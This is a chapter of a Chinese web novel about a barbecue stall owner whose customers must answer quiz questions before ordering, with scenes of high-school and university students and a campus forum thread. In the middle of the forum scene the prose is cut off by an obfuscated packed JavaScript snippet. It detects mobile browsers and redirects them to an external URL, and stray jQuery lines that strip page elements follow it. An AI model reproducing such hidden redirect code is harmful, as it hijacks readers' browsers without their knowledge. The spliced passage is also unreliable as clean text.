第 20 章 烤豆干

作品:《开局大学门口卖烧烤[美食]

    第20章烤豆干


    这年头,很多学生比大人还有钱,反正至少面前几位学生都手握压岁钱,哪怕刚才觉得三十块一个烤猪蹄有点贵,但他们吃肯定吃得起。


    “老板我也要一个烤猪蹄,我还要鸡爪和羊肉串!”


    “我要……”


    “旁边还有平板,你们答完题直接在上面点单。”沐添抬头提醒道。


    随着他开始将烧烤翻面,更加浓郁的肉香飘到他们鼻子里,可把几个高中生馋得不行。


    除开赵钱外还有三个学生,两个手快抢到平板,剩下那个只能去催赵钱:“这题我们不是学过吗?你倒是答快点啊。”


    “你别催我,把我思路打断了。”赵钱说完,手上速度到底还是加快一些。


    他同学是个急性子,见他答完题还在那检查,开口说:“哎呀你做对了,直接点确定。”


    赵钱点完确定,终于来到下单页面,本来只准备吃个烤猪蹄的他闻着玉米香和羊肉香,没忍住又哐哐加了好几样。


    “恭喜一号顾客答题正确,成功掉落烤猪蹄一个,玉米一串……”


    “哈哈,这个好幼稚啊。”


    语音播报响起时,赵钱他们都忍不住笑起来。


    明明大学生都觉得有趣,几个高中生却觉得幼稚,让沐添不由抬头看他们两眼。


    收回视线后他开始撒下调料,卤过的猪蹄在炭火上烤制,香味被完全烤出来,再撒上灵魂调料,那浓郁香气,简直要把几个高中生口水馋下来。


    “老板好了没?”


    他们忍不住催促起来时,渐渐蔓延开来的香味将原本路过的其他学生和个别家长吸引过来。


    “这烧烤还要答题才能买,还挺有意思,儿子你去答题,爸买给你吃。”有个爸爸本来是接儿子回家吃饭,结果被香味吸引过来,发现要答题后直接推出自家儿子。


    儿子本来想说谁吃谁答题,但烧烤香味实在太诱人,他自己也确实想吃,最终还是老老实实过去排队。


    比起q大那帮已经吃过一段时间的大学生们,在第一批烧烤出炉,沐添分别递给顾客们时,拿到烤串的高中生们发出了没见过世面的声音。


    “靠!这烧烤也太好吃了吧!


    ”


    “烤猪蹄好好吃,比之前那家还好吃!香死我了!”


    “我以前吃的都是假烧烤吧!”


    赵钱咬上猪蹄时,甚至被好吃得愣住了一秒,不敢相信世界上会有这么好吃的烤猪蹄,皮焦肉嫩,调料香跟肉香混合在一起,好吃到他差点没咬到舌头。


    看到先买到的几个人站在原地就直接吃起来,脸上写满“好吃”两个字,其他还在排队的高中生们口水都差点没流下来。


    “前面答题的能不能快点?”


    不用催,在美食诱惑下,拿着平板的高中生们都在用最快速度答题。


    “这不是初中学的内容吗?太简单了。”


    “这题我前段时间才学过,真巧。”


    高中生们答题速度都挺快,好在沐添如今手速已经练出来,他烤串速度也不慢,每次都能把烤炉上摆满食材,而且还不会烤焦。


    “爸,我答完题了,你要吃什么?”那个带着爸爸一起排队的学生答完题抬头说。


    “我儿子真棒。”


    孩子爸爸早就被香味馋得不行,夸完接过平板开始下单。


    大人就是比学生舍得花钱,他上来先点了三个猪蹄,考虑到荤素搭配,又点了三根玉米,最后来了三根羊肉串和一串烤香菇。


    “爸,你买那么多烤猪蹄干嘛?”儿子不解。


    孩子爸爸道:“你妈喊我接你回家吃饭,你确定吃完烧烤你还吃得下饭?我不得带点回去哄你妈。”


    “我肯定不吃饭了。”儿子立刻道。


    很快,父子儿子拿到自己那份烧烤,不约而同都先吃烤猪蹄。


    刚出炉的烤猪蹄色香味俱全,微焦的表皮撒满调料,散发出微微油光,诱惑得人迫不及待想咬上去,而当咬开焦香的外层后,里面的肉散发出更加浓郁的肉香,一口下去,简直令人陶醉。


    “果然还是学校门口的东西最好吃,这烤猪蹄比我在大酒店吃的都香……”孩子爸爸连啃几口猪蹄后,简直赞不绝口。


    他还有空说话,他儿子早就吃得头也不抬,大口大口啃着肉,连骨头都不放过,全都啃得干干净净。


    吃完烤猪蹄再来上一口烤玉米,口感跟肉不同却同样很美味,咀嚼间调料的咸香微辣与玉米的清甜爽口相结合,给人一种


    越吃越香,根本停不下来的感觉。


    “爸我还想吃。”


    烤猪蹄个头可不小,加上一根烤玉米,一根羊肉串,吃饱应该是没问题,但他吃饱了嘴还馋着,于是舔着嘴巴喊爸爸。


    孩子爸爸其实也没吃过瘾,于是道:“那我们重新去排队,你再答一道题买给你妈吃。”


    父子俩排队时嘴巴也没闲着,把剩下那个烤猪蹄和玉米给分着吃了,可把排在他们前后的顾客给馋得不行。


    前边,赵钱吃完烧烤还没舍得走,而是边热心给后面过来的同学介绍这家烧烤有多好吃,边提醒他们要答题。


    等跟同学聊得差不多时,他才转头看向餐车里问:“老板,你明天什么时候过来?”


    “我平常不在这边摆摊,今天只是恰好路过。”沐添对上他期待的眼神,最终还是选择实话实话。


    赵钱“啊”了一声后顿时着急起来:“老板你别去其他地方,就在我们学校门口卖吧。”


    其他学生听见他们对话,也加入邀请:“对啊老板,你就在这卖,我明天带我们班同学都过来买。”


    “老板,你去其他地方卖,他们答题有我们厉害吗?”


    沐添听到最后这句,不得不承认,自己最开始时走进了误区。


    当初系统跟他说顾客买烧烤要先答题时,他第一反应就想到大学生,然而对比在q大门口时,总有大学生想赊题,或者半天才答上题,高中这边答题效率明显要高不少。


    其实仔细想想也正常,有高考这个压力在,高中生们日常就是各种刷题。而大学生们在经历高考后,很多人都放松下来,除了那种特别爱学习的外,不少大学生答题水平还真不如高中生。


    哪怕反应过来高中生更适合答题,但他在q大那边已经有不少老顾客,沐添也不好丢下他们换地方。


    就在他有点左右为难时,赵钱已经从口袋里掏出手机说:“老板,我加一下你好友。”


    沐添加了他联系方式,并在其他高中生的央求下,最终还是没抗住,答应明天还会来。


    第二实验高中晚餐时间就一个半小时,学生们大部分都是在食堂吃晚饭,或者由家长送饭过来,只有家里特别近的才会回去吃。当然,还有很多像赵钱这样嫌食堂不好吃,跑出来买着吃的


    学生。


    一个半小时并不长,在只剩最后十几分钟时,有怕迟到的学生只能放弃排队,但走之前还不忘喊:“今天来不及了,老板你明天一定要过来啊!”


    几个学生转身往学校门口跑时,餐车外还等着五六个学生,沐添不由开口:“你们不怕迟到吗?”


    “没事,晚自习老师不一定那么快来教室。”


    嘴上这么说,几个学生却是频频看手表,显然并不是完全不担心迟到,只是既怕迟到,又舍不得放弃这么香的烧烤。


    沐添看出来,不由将炭火拨动两下,稍微加快点烤制速度。


    换做头两天摆摊时他肯定不敢这么干,但现在他对火候把握得越来越好,倒是不怕会烤焦。


    “快好了,你们自己把餐盒拿好。”为了帮他们省时间,沐添在烧烤出炉前两分钟开口道。


    几个学生赶紧伸手拿到餐盒,等烧烤被依次放进去时,直接撒腿就往校门口跑。


    沐添望着他们飞奔的背影,想到他们刚才还嘴硬说没事,忍不住笑起来。


    等他简单把东西收拾一下开车到q大时,已经七点多。


    “老板,我还以为你今天不来了!”


    赵铭易今天下午没课,四点不到就跟朋友溜达到校门口等着吃烧烤,结果等了半个小时没看到摊子,只能又回宿舍去。


    本来在宿舍里点了外卖准备边吃边打游戏,结果也是倒霉,点到的外卖明明评分很好,评论区全是好评,送过来却贼难吃。


    赵铭易实在吃不下,干脆招呼舍友们出去吃饭,结果刚出大门就看到熟悉的餐车。


    “不好意思,刚才在其他地方耽误了点时间。”沐添说完将车停好开始摆摊。


    赵铭易想到刚才在宿舍里翻车的外卖,越发觉得还是他家靠谱,水平一直很稳定,每次吃都是那么好吃。


    “老板,加个好友先,省得下次你不来我都不知道去哪吃烧烤。”


    赵铭易拿出手机和他交换联系方式时,开始有其他学生发现餐车,纷纷往这边走。


    今天下午四五点时,到校门口想买烧烤吃的学生可不少,结果根本没找到老板人。现在看到老板过来,不少学生反正跟赵铭易一样,都是觉得得留个联系方式,不然哪天老板要是不过来,都不知道


    去什么地方找他。


    于是沐添还没来得及烤烧烤先哐哐加了一堆联系方式后面更有学生直接开了个群将他拉到群里。


    加完联系方式学生们放下心来开始关心起他今天没有准时过来的原因。


    “老板你下午干嘛去了?”


    沐添将需要勤翻面的烤香菇再次翻面后回答道:“下午过来时发现在修路就绕到育才路那边走路过二高时有学生要买烧烤就在那边卖了会。”


    本来大学生们还以为他是家里有事才这么晚过来听到他下午竟然在其他地方卖烧烤瞬间有种好不容易发现的宝藏摊子要被人抢走的感觉。


    不行!


    学生们心里不约而同浮现这两个字随即开始各显神通。


    “跑来跑去多折腾啊再说高中生能有什么钱那一串两串地买多费劲啊老板你下次还是直接来我们这卖。”


    “对啊我没记错的话高中放学时间有限老板你去那边又卖不了多久。”


    “高中生现在最重要的事情是学习老板你去那卖烧烤多影响他们听我的下次还是来我们学校卖我们已经是大学生了不怕被影响。”


    “其实现在高中生还是挺有钱的我表妹就是高中生比我还有钱。”


    “你到底哪边的?不会说话就闭嘴。”


    “那破路也不知道怎么回事不是前两年才修过怎么又修?老板我跟你说还有条小路也能到我们学校不用走育才路……再说你这不是还要答题吗?高中生懂什么答题。”


    其他的话沐添还没什么反应听到答题时他幽幽抬头望着面前这帮大学生道:“高中生们答题还挺快而且基本上什么题都会。”


    总感觉老板好像话里有话大学生们你看我我看你谁都不愿意跟他对视。


    刚才说“高中生懂什么答题”的学生更是有点后悔觉得自己真是嘴快说什么不好偏偏说这个。


    都是从高中时期过来的人其实稍微动动脑子就反应过来高中生可能还真比他们懂答题。


    “老板康康今天怎么没过来?”有学生十分机智地转移话题。


    “他有点不舒服


    他耐心是真好,哪怕烧烤每天重复同样的动作都不会不耐烦,依旧认真把握着每串烧烤的火候,以及调料比例。


    随着时间流逝,烧烤特有的香味从烤炉上飘出去,烤猪蹄香、玉米香、蘑菇香等诱人香气混合在一起,被风一吹,瞬间吸引过来更多人。


    “啊!老板你终于来了!


    有个在马路对面吃炒粉的学生抬头发现熟悉的餐车时,端着粉就直接跑过来,闻着浓郁香味,直接深吸一口气。


    他感叹完,手里的粉也不吃了,直接去后面排队,准备待会把烧烤加到粉里一起吃。


    前边,赵铭易和他几个舍友已经拿到烧烤,几个人不约而同先咬了口羊肉串。


    “还是这羊肉吃着香!刚才我们外卖里那道孜然羊肉是什么鬼啊,难吃得要命。


    “好吃,太好吃了,这才是人吃的东西!


    “这烤猪蹄我真是吃一百次都不会腻。


    并不是所有人都会正好在这个时候出学校或者回来,在赵铭易他们这帮人运气好吃上烧烤时,q大校内,不少学生正边吃食堂边叹气。


    “考一烤老板怎么回事?今天怎么没来?我特意忍了几天没去,就准备今天去开开荤,结果他竟然不来!倒也不必这样替我省钱。


    “炒饭一点都不好吃,我想吃烧烤……


    “我也想吃烧烤,他家生烤鸡爪可太好吃了,我就喜欢那种焦脆有韧劲的口感。


    “唉,老板今天怎么不来呢?他该不会明天也不来吧?


    “应该不会吧,早知道就留他个电话了。


    下午在二高那边卖出去不少,到q大这边后食材剩得不算特别多,沐添卖到九点多就收摊回家。


    这个点他已经收摊,q大校园论坛上却正热闹得很,大晚上,首页第一个帖子就是跟他家烧烤摊相关。


    主题贴内容是楼主哭唧唧询问,她最爱的那家烧烤摊去哪了,并配上好多深夜放毒的烧烤图片。


    [这大猪蹄,这大肉串,看得我口水都快流下来了……]


    [是门口那家“考一烤吗?他家怎么了?我这两天没空,还准备明天过去吃呢!]


    [我去吃过这家烧烤,不得不说,从卫生到食材,再到老板手艺都无可挑剔,而且老


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573513|138772||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    板


    人还挺帅,简直是一家完美的烧烤摊。我今天去做兼职了,还想着发工资后要去吃个够,别跟我说老板不准备摆摊了,那我真的要哭死。]


    [先别哭,老板今天过来了,只是来得比较晚,快八点时我在校门口吃到了,味道一如既往的美味(图片)(图片)(图片)]


    [靠,我六点多去门口没看到,以为老板不来了就回宿舍了,早知道就晚点再去了……]


    [话说,有人知道老板今天为什么来那么晚吗?]


    [好像是因为修路,他改走育才路那边,然后被高中生拦下来,就干脆在那边摆摊了。]


    [不是,那帮高中生不好好学习,跟我们抢什么烧烤啊!老板该不会以后都要去那边卖吧?]


    [有人有老板联系方式吗?我得好好劝劝他,做生意得一心一意,不能朝三暮四,要在固定地方摆摊才容易积累老顾客。]


    [人家老板就是卖个烧烤而已,你这词整得他跟出轨了一样。]


    [我搞了个群,把老板拉里面了,感兴趣的可以进来(二维码图片)]


    得知有人弄了“考一烤群,而且烧烤摊老板还在群里,大学生们纷纷转移阵地,开始加入群聊。


    于是等沐添到家洗漱完,躺在床上准备玩会手机就睡觉时,便听见手机传来连续消息提醒。


    他有点疑惑大晚上谁哐哐给他发消息,顺着消息提醒点进去,就发现下午原本只有几个人的群这会竟然变成百人大群。


    群里成员基本上都在@他,内容倒是大同小异,都是喊他明天别去其他地方摆摊。


    沐添想到今天有几个馋得不行,结果因为时间不够没吃上的学生,觉得明天不过去有点不好,于是打字发到群里。


    [水木:我答应二高的学生明天要过去,他们高中放学时间只有一个半小时,我不会在那边摆太久。]


    [老板你糊涂啊,人家就那么点时间,吃完烧烤哪还有时间吃饭?高中正是奋斗的时候,不好好吃饭哪来的精力学习?你过去摆摊不是耽误孩子嘛。]


    有人还试图劝他别去高中,有人则是觉得只要来就行,已经开始问起他明天来的时间,还有人则是关心明天有没有新食材。


    沐添在群里又跟他们聊一会后,关掉手机开始躺下休息。


    自从


    发现在系统空间并不影响他睡眠,他晚上大部分时候都会去系统空间内继续提高自己手艺。羊肉串是他烤得最多的食材,不夸张地说,他现在已经可以不用特意盯着就能凭感觉给羊肉串翻面撒调料,如果再继续练习下去,他早晚都能达到闭着眼睛烤羊肉串的成就。


    今晚烧烤之神课堂再次开启,习惯老师的火柴人外形后,现在沐添看老师莫名有点亲切。


    今天的食材是茶豆干,豆干处理起来倒是很简单,串好签子在上面划几刀就可以直接开烤。


    豆干想要好吃火候和调料很重要,烤得太焦或者太嫩味道都不会那么好,要达到外焦里嫩口感才好,而且还要入味,如果不入味,那么就只有表面好吃,内里吃起来会很寡淡。


    沐添如今也算是个有着不错经验的烧烤师傅,他学起烤豆干来速度很快,没多久就烤出完美的烤豆干。他自己品尝过后满意地点头,感觉顾客肯定会喜欢吃。


    沐添结束今天的学习进入梦乡时,网上却还有一群夜猫子在熬夜。


    深夜放毒是很多人喜欢干的缺德事,而诱人的烧烤图片,则是很多缺德人士喜欢用的放毒工具。


    [这是哪家的烧烤?看起来也太诱人了,发出想吃的声音……]


    [啊啊啊!两个月没吃烧烤了,减肥呢!为什么要让我刷到这个!可恶,大晚上的,眼泪都快从嘴角流出来了。]


    [道德在哪里?底线在哪里?有本事发图片,有本事你放地址啊!]


    博主也没想到自己就是随便发个美食图引来那么多评论,赶紧回复道[图是从@大嘴吃四方这个主播那拿的,具体是哪家店,可以看他的探店视频。]


    网友们被引流到主播那去后,看着他那边去考一烤直播剪出来的视频,大晚上的被馋得感觉能吃下一头牛。


    “咦,q大?让我查查地图,也就一个小时左右距离,好像不算特别远……”


    外省的只能看看视频解馋或者点个本地烧烤吃吃,但同样在q市的网友看到q大,个别人查完地图后将这家店记在心里。


    第二天上午,康康过来时已经恢复活蹦乱跳的状态,沐添放下心来,上午带着他一起处理食材,中午则是拿特意留出来的烧烤食材做菜。


    倒不是他图省事,而是系统提供的食材明


    显比外面买的品质要好很多吃起来更放心他特意跟系统商量过让它每天多送一些过来当菜吃。


    今天新到的茶豆干拿点牛肉一起炒别提有多香再炒盘玉米粒红烧点鸡爪两个人能吃得很香。


    平常沐添手机大部分时间都保持安静


    发消息的顾客不光有大学生还有那个叫赵钱的高中生他表示今天放学时会带班里同学一起来买。


    面对热情的顾客沐添只能一一回复完消息后再去午休。


    二高那边放学时间是五点半下午四点时沐添开着自己的餐车带着康康一起出发前往育才路那边。


    他到时学校还没放学不过校门口已经能看到一些拎着饭盒的家长显然都是来给孩子送晚饭。


    沐添望着这一幕心里并不羡慕因为他当初读高中时奶奶也给他送过饭。


    在昨天老地方把车停好后他直接把每种食材拿出来点开始提前烤上。


    肉类不用说放到烤炉上没多久浓郁肉香混着香辣气息就直接飘出来。而等他开始烤豆干时随着豆干表面水分被烤干豆类特有的香味飘出来对于喜欢吃豆制品的人来说这香味比肉还吸引人。


    豆干表面已经被烤得微微焦刷上油后泛着油光那种被炭火烤出来的烤痕十分完美辣椒粉等调料均匀布满在上面被刀划开的地方也都填着调料还没出炉卖相就已经十分诱人。


    学生们还没放学烧烤摊越来越浓郁的香味直接吸引过来几个家长。


    “老板你这烧烤怎么卖?”


    家长问完就顺着沐添手指的方向看到菜单有人嫌价格贵看完就直接转身离开有两三个家长却是没走而是边打量餐车环境边问:“老板你这食材都是新鲜的吧?”


    “放心都是今天现买的食材。”


    沐添说完单手继续烤烧烤另外那只手拿出点没烤的食材给他们看。


    家长们刚才已经很认可餐车的卫生问题现在看到食材确实很新鲜终于放下心来。


    “那个我们家烧烤要先答题才能下单。”沐添眼见这几个家长都准备要买开口提醒道。


    康康跟着他出来摆了一段时